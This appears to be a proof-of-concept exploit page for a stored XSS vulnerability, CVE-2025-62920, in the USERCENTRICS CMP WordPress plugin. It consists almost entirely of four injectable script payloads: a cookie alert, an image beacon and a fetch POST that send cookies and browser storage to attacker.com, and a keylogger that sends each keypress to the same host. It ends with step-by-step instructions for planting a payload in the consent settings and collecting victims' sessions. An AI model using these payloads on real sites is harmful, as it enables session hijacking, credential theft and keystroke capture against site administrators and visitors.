CVE-2025-62920 WordPress USERCENTRICS CMP插件存储型XSS漏洞

<!-- CVE-2025-62920 Stored XSS PoC for USERCENTRICS CMP WordPress Plugin --> <!-- Payload: Inject malicious JavaScript via plugin's consent management feature --> <!-- Method 1: Direct injection via plugin settings --> <script>alert(document.cookie)</script> <!-- Method 2: More sophisticated payload for cookie stealing --> <script> var img = document.createElement('img'); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie); document.body.appendChild(img); </script> <!-- Method 3: Session hijacking payload --> <script> fetch('https://attacker.com/steal', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage }) }); </script> <!-- Method 4: Keylogger payload --> <script> document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker.com/log?key=' + e.key; }); </script> <!-- Usage Instructions: 1. Identify the input field in USERCENTRICS CMP plugin (<= 1.0.9) 2. Inject one of the above payloads into the consent management settings 3. Wait for admin or other users to visit the affected page 4. Payload will execute in their browser context 5. Attacker receives stolen credentials/session data -->